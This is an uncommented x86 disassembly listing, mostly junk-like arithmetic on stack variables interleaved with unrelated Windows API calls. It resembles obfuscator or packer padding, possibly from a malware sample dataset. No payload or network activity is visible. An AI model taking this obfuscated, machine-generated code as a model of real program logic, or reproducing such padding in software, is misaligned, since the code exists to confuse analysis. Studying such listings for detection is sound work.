mov ecx, dword [0x773670]
mov word [ecx], dx
mov edx, dword [ebp - 0x77c]
sub edx, dword [ebp - 0x488]
mov dword [ebp - 0x3f8], edx
mov eax, dword [ebp - 0x448]
mov ecx, dword [ebp - 0x420]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x830], edx
mov eax, dword [ebp - 0x798]
mov ecx, dword [ebp - 0x464]
sar eax, cl
mov dword [ebp - 0x454], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x530]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x448]
mov dword [ecx], eax
mov edx, dword [ebp - 0x448]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x400]
shl eax, cl
mov ecx, dword [ebp - 0x6bc]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x769]
mov eax, dword [ebp - 0x778]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x46d], dl
mov edx, dword [ebp - 0x474]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x71c]
sub eax, ecx
mov word [ebp - 0x53c], ax
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4ec]
add eax, ecx
mov word [ebp - 0x754], ax
movzx edx, byte [0x41d005]
mov eax, dword [ebp - 0x7c4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x41d004], dl
mov edx, dword [ebp - 0x3f8]
sub edx, dword [ebp - 0x6fc]
mov eax, dword [ebp - 0x69c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6f8]
mov edx, dword [ecx]
sub edx, dword [0x7725cc]
mov eax, dword [ebp - 0x444]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7c4]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x415], dl
mov dword [ebp - 0x690], 0x114
jmp 0x407202
mov edx, dword [ebp - 0x428]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x440], ax
mov eax, dword [ebp - 0x840]
mov ecx, dword [eax]
mov dword [ebp - 0x6c4], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x6e4], eax
mov edx, dword [ebp - 0x6fc]
add edx, dword [ebp - 0x46c]
mov dword [ebp - 0x77c], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
mov dword [ebp - 0x7a4], ecx
mov edx, dword [ebp - 0x840]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x7ac]
shl eax, cl
mov ecx, dword [ebp - 0x448]
mov dword [ecx], eax
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x778]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x42d]
or edx, ecx
cmp eax, edx
jg 0x407608
lea edx, [ebp - 0x50c]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [ebp - 0x754]
mov ecx, dword [ebp - 0x428]
movzx ecx, word [ecx]
sar eax, cl
mov word [0x7725d0], ax
movzx edx, byte [ebp - 0x6b1]
mov eax, dword [ebp - 0x3f0]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x4a0]
mov byte [eax], dl
movsx ecx, word [ebp - 0x770]
movsx edx, word [ebp - 0x53c]
and ecx, edx
movsx eax, word [ebp - 0x71c]
movsx edx, word [0x773688]
add eax, edx
cmp ecx, eax
jl 0x4075db
mov eax, dword [ebp - 0x3f8]
sub eax, dword [0x7725cc]
mov ecx, dword [ebp - 0x6f8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x464]
push edx
mov eax, dword [ebp - 0x474]
mov dx, word [eax]
mov ecx, dword [ebp - 0x754]
call fcn.00404d90
jmp 0x407608
mov ecx, dword [ebp - 0x6f8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x488]
mov eax, dword [ebp - 0x838]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x6a4]
add ecx, dword [eax]
cmp edx, ecx
jb 0x407608
mov ecx, dword [ebp - 0x754]
call fcn.0040a740
movzx ecx, word [ebp - 0x440]
mov dword [ebp - 0x8d0], ecx
cmp dword [ebp - 0x8d0], 0
je 0x407633
cmp dword [ebp - 0x8d0], 0x866
je 0x409f5b
jmp 0x409f8c
mov dl, byte [ebp - 0x7d1]
mov byte [ebp - 0x8d4], dl
cmp byte [ebp - 0x8d4], 0
je 0x40764a
jmp 0x4076a5
mov eax, dword [ebp - 0x444]
mov ecx, dword [eax]
mov dword [ebp - 0x4a8], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x718]
sar eax, cl
mov dword [0x7725d4], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x714]
shl edx, cl
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x420]
mov edx, dword [ecx]
or edx, dword [ebp - 0x780]
mov dword [ebp - 0x718], edx
jmp 0x4076f0
mov eax, dword [ebp - 0x520]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x4ec]
add ecx, edx
mov word [ebp - 0x440], cx
mov eax, dword [ebp - 0x3f0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4a0]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x7d1], cl
mov ecx, dword [ebp - 0x448]
mov edx, dword [ebp - 0x530]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x448]
mov dword [ecx], eax
mov edx, dword [ebp - 0x69c]
mov eax, dword [ebp - 0x6fc]
add eax, dword [edx]
mov ecx, dword [ebp - 0x444]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x46d]
movsx eax, byte [ebp - 0x705]
add edx, eax
mov ecx, dword [ebp - 0x778]
movsx eax, byte [ecx]
mov ecx, dword [ebp - 0x40c]
movsx ecx, byte [ecx]
add eax, ecx
cmp edx, eax
je 0x4077a6
call fcn.0040a6f0
mov edx, dword [ebp - 0x530]
mov eax, dword [ebp - 0x400]
sub eax, dword [edx]
mov dword [ebp - 0x574], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x494]
sub edx, dword [ecx]
mov dword [0x7725d4], edx
movzx eax, byte [ebp - 0x435]
movzx ecx, byte [ebp - 0x6b1]
add eax, ecx
mov byte [ebp - 0x415], al
mov edx, dword [ebp - 0x47c]
push edx
lea eax, [ebp - 0x770]
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [ebp - 0x4c4], eax
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x834]
sub edx, eax
mov ecx, dword [ebp - 0x520]
mov word [ecx], dx
mov edx, dword [ebp - 0x7c4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x449]
sub eax, ecx
movzx edx, byte [0x41d004]
mov ecx, dword [ebp - 0x3f0]
movzx ecx, byte [ecx]
xor edx, ecx
cmp eax, edx
jge 0x4077f4
mov edx, dword [ebp - 0x464]
push edx
mov eax, dword [ebp - 0x6bc]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x6bc]
mov eax, dword [edx]
push eax
call fcn.00404e70
add esp, 0xc
jmp 0x407894
movsx edx, word [ebp - 0x71c]
mov eax, dword [ebp - 0x474]
movsx ecx, word [eax]
or edx, ecx
movsx eax, word [ebp - 0x770]
movsx ecx, word [ebp - 0x53c]
shl eax, cl
cmp edx, eax
jne 0x407894
movsx edx, word [ebp - 0x71c]
mov eax, dword [ebp - 0x474]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x53c], dx
movsx ecx, byte [ebp - 0x42d]
movsx edx, byte [0x773669]
and ecx, edx
mov byte [ebp - 0x46d], cl
mov eax, dword [ebp - 0x698]
sub eax, dword [ebp - 0x488]
mov ecx, dword [ebp - 0x6f8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x530]
mov eax, dword [ebp - 0x780]
sub eax, dword [edx]
mov dword [ebp - 0x400], eax
call fcn.00404d50
movzx ecx, word [0x7725d0]
movzx edx, word [ebp - 0x754]
and ecx, edx
mov eax, dword [ebp - 0x850]
mov word [eax], cx
call fcn.0040a6f0
mov ecx, dword [ebp - 0x758]
mov edx, dword [ecx]
mov dword [ebp - 0x8d8], edx
cmp dword [ebp - 0x8d8], 0x58c
je 0x4078c3
cmp dword [ebp - 0x8d8], 0x3ce8
je 0x409ed5
jmp 0x409f05
lea eax, [ebp - 0x4e1]
mov dword [ebp - 0x6a8], eax
mov ecx, dword [ebp - 0x420]
mov eax, dword [ecx]
cdq
idiv dword [ebp - 0x3d8]
mov edx, dword [ebp - 0x530]
mov dword [edx], eax
mov eax, dword [ebp - 0x454]
mov ecx, dword [0x7725d4]
sar eax, cl
mov ecx, dword [ebp - 0x758]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6f8]
mov eax, dword [ebp - 0x3f8]
or eax, dword [edx]
mov dword [ebp - 0x46c], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x830]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x7725d4], edx
mov eax, dword [ebp - 0x414]
add eax, 0x63
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 0x448]
mov edx, dword [ebp - 0x3d8]
and edx, dword [ecx]
mov dword [ebp - 0x828], edx
movsx eax, word [ebp - 0x770]
movsx ecx, word [ebp - 0x53c]
sub eax, ecx
mov word [ebp - 0x71c], ax
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
movsx ecx, byte [0x41d006]
sub eax, ecx
mov byte [ebp - 0x46d], al
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4a0]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x6a8]
mov byte [ecx], al
mov edx, dword [ebp - 0x428]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x70c]
add eax, ecx
mov word [ebp - 0x440], ax
mov edx, dword [ebp - 0x6f8]
mov eax, dword [ebp - 0x6a4]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x4a8], ecx
mov edx, dword [ebp - 0x7a4]
sub edx, dword [ebp - 0x454]
mov eax, dword [ebp - 0x530]
mov dword [eax], edx
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x70c]
sub edx, eax
mov word [ebp - 0x440], dx
cmp dword [ebp - 0x414], 0xa54c
jne 0x4078e6
lea ecx, [ebp - 0x415]
mov dword [0x773690], ecx
mov dword [ebp - 0x6e8], 0x4699
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, dword [ebp - 0x718]
mov dword [ebp - 0x8dc], edx
cmp dword [ebp - 0x8dc], 0xffffedcc
je 0x407a4d
cmp dword [ebp - 0x8dc], 0x42d
je 0x407ace
jmp 0x407b4b
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x768], eax
mov cl, byte [0x41d005]
mov byte [ebp - 0x8e0], cl
cmp byte [ebp - 0x8e0], 0
je 0x407a79
cmp byte [ebp - 0x8e0], 0xd1
je 0x407ab1
jmp 0x407acc
mov edx, dword [ebp - 0x448]
mov eax, dword [edx]
add eax, dword [ebp - 0x4ac]
mov ecx, dword [ebp - 0x420]
mov dword [ecx], eax
mov edx, dword [ebp - 0x830]
add edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x838]
mov ecx, dword [eax]
mov dword [ebp - 0x7c0], ecx
jmp 0x407acc
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x834], ax
jmp 0x407b4b
movzx eax, byte [ebp - 0x7d1]
movzx ecx, byte [ebp - 0x435]
shl eax, cl
mov byte [ebp - 0x6b1], al
push 0xd6
lea ecx, [ebp - 0x87c]
push ecx
lea edx, [ebp - 0x6dc]
push edx
push 0xae
push 0x99
mov eax, dword [ebp - 0x48c]
push eax
call dword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [ebp - 0x4bc], eax
mov ecx, dword [ebp - 0x448]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x718]
mov eax, dword [ebp - 0x420]
mov dword [eax], edx
mov ecx, dword [ebp - 0x530]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x840]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x714]
push edx
call fcn.00404e70
add esp, 0xc
mov eax, dword [ebp - 0x444]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x698]
shr edx, cl
mov eax, dword [ebp - 0x6f8]
mov ecx, dword [ebp - 0x77c]
imul ecx, dword [eax]
cmp edx, ecx
ja 0x409d5a
mov edx, dword [ebp - 0x530]
mov eax, dword [ebp - 0x434]
imul eax, dword [edx]
mov ecx, dword [ebp - 0x840]
mov dword [ecx], eax
mov edx, dword [ebp - 0x420]
mov eax, dword [edx]
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x8e4], 0x5f5b
je 0x407ba8
jmp 0x407c3c
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ebp - 0x830]
add edx, dword [ecx]
mov dword [ebp - 0x408], edx
mov eax, dword [ebp - 0x6fc]
sub eax, dword [ebp - 0x698]
mov ecx, dword [ebp - 0x6f8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4a0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x4e1], al
mov eax, dword [ebp - 0x850]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x850]
mov word [edx], cx
mov eax, dword [ebp - 0x528]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x40c]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x46d], cl
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x71c]
sub edx, eax
mov word [ebp - 0x770], dx
jmp 0x407c91
lea ecx, [ebp - 0x6fc]
mov dword [0x773664], ecx
mov edx, dword [ebp - 0x448]
mov eax, dword [edx]
mov dword [ebp - 0x6e0], eax
mov ecx, dword [ebp - 0x4a0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x415]
and edx, eax
mov ecx, dword [ebp - 0x3f0]
mov byte [ecx], dl
movzx edx, word [ebp - 0x70c]
movzx eax, word [ebp - 0x4ec]
add edx, eax
mov word [ebp - 0x440], dx
mov dword [ebp - 0x79c], 0x7725d4
mov ecx, dword [ebp - 0x838]
mov edx, dword [ebp - 0x768]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x4a8], edx
lea eax, [ebp - 0x6b0]
mov dword [ebp - 0x4e8], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x6b0]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x6bc]
mov dword [eax], edx
mov cx, word [ebp - 0x834]
mov word [ebp - 0x3e0], cx
mov eax, dword [ebp - 0x488]
xor edx, edx
div dword [ebp - 0x768]
mov edx, dword [ebp - 0x6f8]
mov ecx, dword [ebp - 0x69c]
mov edx, dword [edx]
mov ecx, dword [ecx]
shl edx, cl
cmp eax, edx
jb 0x407d14
movzx eax, byte [ebp - 0x7d1]
push eax
mov edx, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x754]
call fcn.00404df0
mov ecx, dword [0x7725d4]
mov dword [ebp - 0x8e8], ecx
cmp dword [ebp - 0x8e8], 0x685a
je 0x407dbf
cmp dword [ebp - 0x8e8], 0x800000
je 0x407d41
jmp 0x407e30
mov dl, byte [ebp - 0x6b1]
mov byte [0x773668], dl
mov eax, dword [ebp - 0x6f8]
mov ecx, dword [ebp - 0x698]
or ecx, dword [eax]
mov dword [ebp - 0x77c], ecx
mov edx, dword [ebp - 0x780]
sub edx, dword [ebp - 0x574]
mov eax, dword [ebp - 0x840]
mov dword [eax], edx
mov ecx, dword [ebp - 0x464]
mov dword [ebp - 0x3d0], ecx
mov edx, dword [ebp - 0x420]
mov eax, dword [ebp - 0x464]
imul eax, dword [edx]
mov dword [ebp - 0x828], eax
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ecx]
mov dword [ebp - 0x808], edx
mov eax, dword [ebp - 0x474]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x71c]
and ecx, edx
mov word [ebp - 0x53c], cx
jmp 0x407e30
movsx eax, byte [ebp - 0x705]
movsx ecx, byte [ebp - 0x46d]
add eax, ecx
mov byte [ebp - 0x769], al
movzx edx, word [0x7725d0]
movzx eax, word [ebp - 0x70c]
add edx, eax
mov ecx, dword [ebp - 0x520]
mov word [ecx], dx
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7d1]
add eax, ecx
mov byte [0x41d005], al
mov edx, dword [ebp - 0x838]
mov eax, dword [0x773664]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x7c0], ecx
mov edx, dword [ebp - 0x6a4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x838]
add eax, dword [ecx]
mov dword [ebp - 0x488], eax
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x754]
sub eax, ecx
mov word [ebp - 0x834], ax
mov dl, byte [0x41d004]
mov byte [ebp - 0x6c5], dl
mov eax, dword [ebp - 0x538]
sub eax, dword [ebp - 0x6b0]
mov ecx, dword [ebp - 0x4e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6a4]
mov eax, dword [edx]
mov dword [ebp - 0x784], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [0x7725d4]
and edx, dword [ecx]
mov dword [ebp - 0x574], edx
mov eax, dword [ebp - 0x400]
mov ecx, dword [ebp - 0x798]
shl eax, cl
mov dword [ebp - 0x494], eax
mov ecx, dword [ebp - 0x4a0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x435]
or edx, eax
mov byte [0x41d004], dl
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3e0]
xor edx, eax
mov word [ebp - 0x70c], dx
mov ecx, dword [ebp - 0x838]
mov edx, dword [ebp - 0x7c0]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x3f8], edx
mov eax, dword [ebp - 0x79c]
mov ecx, dword [0x7725d4]
sub ecx, dword [eax]
mov dword [ebp - 0x6b0], ecx
mov edx, dword [ebp - 0x804]
sub edx, 0x1f
mov dword [ebp - 0x804], edx
mov eax, dword [ebp - 0x778]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x40c]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x528]
mov byte [edx], cl
movsx eax, word [ebp - 0x71c]
movsx ecx, word [ebp - 0x53c]
and eax, ecx
mov edx, dword [ebp - 0x474]
mov word [edx], ax
movzx eax, byte [ebp - 0x4e1]
mov ecx, dword [ebp - 0x6a8]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x7c4]
mov byte [ecx], al
movzx edx, word [0x7725d0]
movzx eax, word [ebp - 0x834]
sub edx, eax
mov ecx, dword [ebp - 0x520]
mov word [ecx], dx
mov edx, dword [ebp - 0x69c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x698]
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x7ac]
add edx, dword [ecx]
mov dword [0x7725d4], edx
mov eax, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x830]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x79c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x69c]
mov ecx, dword [ebp - 0x7c0]
add ecx, dword [eax]
mov dword [ebp - 0x46c], ecx
cmp dword [ebp - 0x804], 0xddae
jae 0x407e77
mov edx, dword [ebp - 0x3d0]
add edx, dword [ebp - 0x6e0]
mov eax, dword [ebp - 0x6bc]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x435]
mov edx, dword [ebp - 0x4a0]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3f0]
mov byte [edx], cl
mov eax, dword [ebp - 0x850]
movzx edx, word [eax]
movzx ecx, word [0x7725d0]
sar edx, cl
mov word [ebp - 0x754], dx
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x464]
or ecx, dword [eax]
mov edx, dword [ebp - 0x530]
mov dword [edx], ecx
mov eax, dword [ebp - 0x488]
mov ecx, dword [ebp - 0x7c0]
shl eax, cl
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x420]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x854]
mov eax, dword [ebp - 0x758]
mov dword [eax], edx
mov ecx, dword [ebp - 0x420]
mov edx, dword [ecx]
and edx, dword [ebp - 0x7ac]
mov dword [0x7725d4], edx
mov eax, dword [0x773670]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x520]
mov word [edx], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x410], eax
movzx eax, byte [ebp - 0x6c5]
movzx ecx, byte [ebp - 0x415]
sub eax, ecx
mov edx, dword [ebp - 0x7c4]
mov byte [edx], al
mov eax, dword [ebp - 0x474]
movsx ecx, word [eax]
movsx edx, word [0x773688]
and ecx, edx
mov eax, dword [ebp - 0x474]
mov word [eax], cx
movsx ecx, byte [ebp - 0x705]
movsx edx, byte [ebp - 0x42d]
add ecx, edx
mov eax, dword [ebp - 0x40c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x6fc]
add ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x444]
mov dword [edx], ecx
mov eax, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x840]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x494], edx
movzx eax, byte [ebp - 0x7d1]
movzx ecx, byte [ebp - 0x435]
sub eax, ecx
mov byte [ebp - 0x6b1], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x78c], eax
movzx edx, word [ebp - 0x834]
mov eax, dword [0x773670]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x520]
mov word [eax], dx
mov ecx, dword [ebp - 0x6f8]
mov edx, dword [ebp - 0x784]
or edx, dword [ecx]
mov dword [0x7725cc], edx
movzx eax, word [ebp - 0x490]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x880], ax
mov edx, dword [ebp - 0x494]
mov ecx, dword [0x7725d4]
shl edx, cl
mov dword [ebp - 0x7ac], edx
mov eax, dword [ebp - 0x758]
mov edx, dword [ebp - 0x764]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x400], edx
mov eax, dword [ebp - 0x838]
mov ecx, dword [ebp - 0x488]
xor ecx, dword [eax]
mov dword [ebp - 0x768], ecx
mov edx, dword [ebp - 0x4a0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x6a8]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3f0]
mov byte [ecx], al
movzx edx, word [ebp - 0x754]
movzx eax, word [ebp - 0x440]
add edx, eax
mov ecx, dword [ebp - 0x428]
mov word [ecx], dx
mov edx, dword [ebp - 0x758]
mov eax, dword [edx]
add eax, dword [0x7725d4]
mov dword [ebp - 0x3cc], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x4e8]
add edx, dword [eax]
mov dword [ebp - 0x764], edx
mov ecx, dword [ebp - 0x768]
sub ecx, dword [ebp - 0x698]
mov dword [ebp - 0x3f8], ecx
mov edx, dword [ebp - 0x448]
mov eax, dword [ebp - 0x6c4]
and eax, dword [edx]
mov dword [0x7725d4], eax
lea ecx, [ebp - 0x750]
push ecx
mov edx, dword [ebp - 0x788]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x778]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40c]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x769], dl
movsx edx, word [ebp - 0x71c]
movsx eax, word [ebp - 0x770]
add edx, eax
mov word [ebp - 0x53c], dx
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6a8]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x415], dl
movzx edx, word [ebp - 0x3e0]
movzx eax, word [ebp - 0x754]
xor edx, eax
mov ecx, dword [ebp - 0x520]
mov word [ecx], dx
mov edx, dword [ebp - 0x444]
mov eax, dword [edx]
or eax, dword [ebp - 0x784]
mov dword [ebp - 0x7c0], eax
mov ecx, dword [ebp - 0x79c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x808]
shl edx, cl
mov dword [ebp - 0x434], edx
movzx eax, byte [ebp - 0x435]
mov ecx, dword [ebp - 0x7c4]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x6b1], al
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [0x773670]
mov word [ecx], ax
mov edx, dword [ebp - 0x814]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x6e8]
add eax, 0x88
mov dword [ebp - 0x6e8], eax
mov ecx, dword [ebp - 0x814]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x444]
mov eax, dword [ebp - 0x838]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x6a4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x574]
mov dword [ebp - 0x714], ecx
mov edx, dword [ebp - 0x420]
mov eax, dword [edx]
sub eax, dword [ebp - 0x454]
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x6a4]
mov edx, dword [ebp - 0x7c0]
sub edx, dword [ecx]
mov dword [ebp - 0x77c], edx
movzx eax, word [ebp - 0x3e0]
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x4ec], ax
movzx eax, byte [ebp - 0x6b1]
mov ecx, dword [ebp - 0x6a8]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x7d1], al
mov eax, dword [ebp - 0x3cc]
add eax, dword [ebp - 0x494]
mov dword [ebp - 0x764], eax
mov ecx, dword [ebp - 0x6c4]
sub ecx, dword [ebp - 0x808]
mov dword [ebp - 0x408], ecx
cmp dword [ebp - 0x6e8], 0x60a1
jb 0x407fe7
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x41d007], al
movsx eax, word [0x7725c8]
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x53c], ax
movzx eax, word [ebp - 0x4ec]
movzx ecx, word [ebp - 0x440]
or eax, ecx
mov word [ebp - 0x754], ax
movzx edx, byte [0x41d005]
mov eax, dword [ebp - 0x3f0]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x7c4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x7c0]
mov ecx, dword [ebp - 0x46c]
shr edx, cl
mov dword [ebp - 0x77c], edx
mov eax, dword [ebp - 0x69c]
mov ecx, dword [ebp - 0x784]
and ecx, dword [eax]
mov dword [ebp - 0x46c], ecx
mov edx, dword [ebp - 0x4ac]
sub edx, dword [ebp - 0x3cc]
mov eax, dword [ebp - 0x6bc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ebp - 0x714]
sub edx, dword [ecx]
mov dword [ebp - 0x718], edx
mov eax, dword [ebp - 0x840]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x464], ecx
mov edx, dword [ebp - 0x4a0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x7c4]
mov byte [ecx], al
movzx edx, word [ebp - 0x70c]
mov eax, dword [0x773670]
movzx ecx, word [eax]
add edx, ecx
mov word [0x773678], dx
mov edx, dword [ebp - 0x838]
mov eax, dword [ebp - 0x7c0]
add eax, dword [edx]
mov ecx, dword [ebp - 0x6a4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x758]
mov eax, dword [edx]
and eax, dword [ebp - 0x464]
mov dword [ebp - 0x6e0], eax
mov ecx, dword [ebp - 0x6b0]
sub ecx, dword [ebp - 0x828]
mov dword [ebp - 0x538], ecx
mov edx, dword [ebp - 0x45c]
sub edx, 0x22
mov dword [ebp - 0x45c], edx
mov eax, dword [ebp - 0x69c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x6fc]
shr edx, cl
mov dword [ebp - 0x3f8], edx
movzx eax, byte [0x41d005]
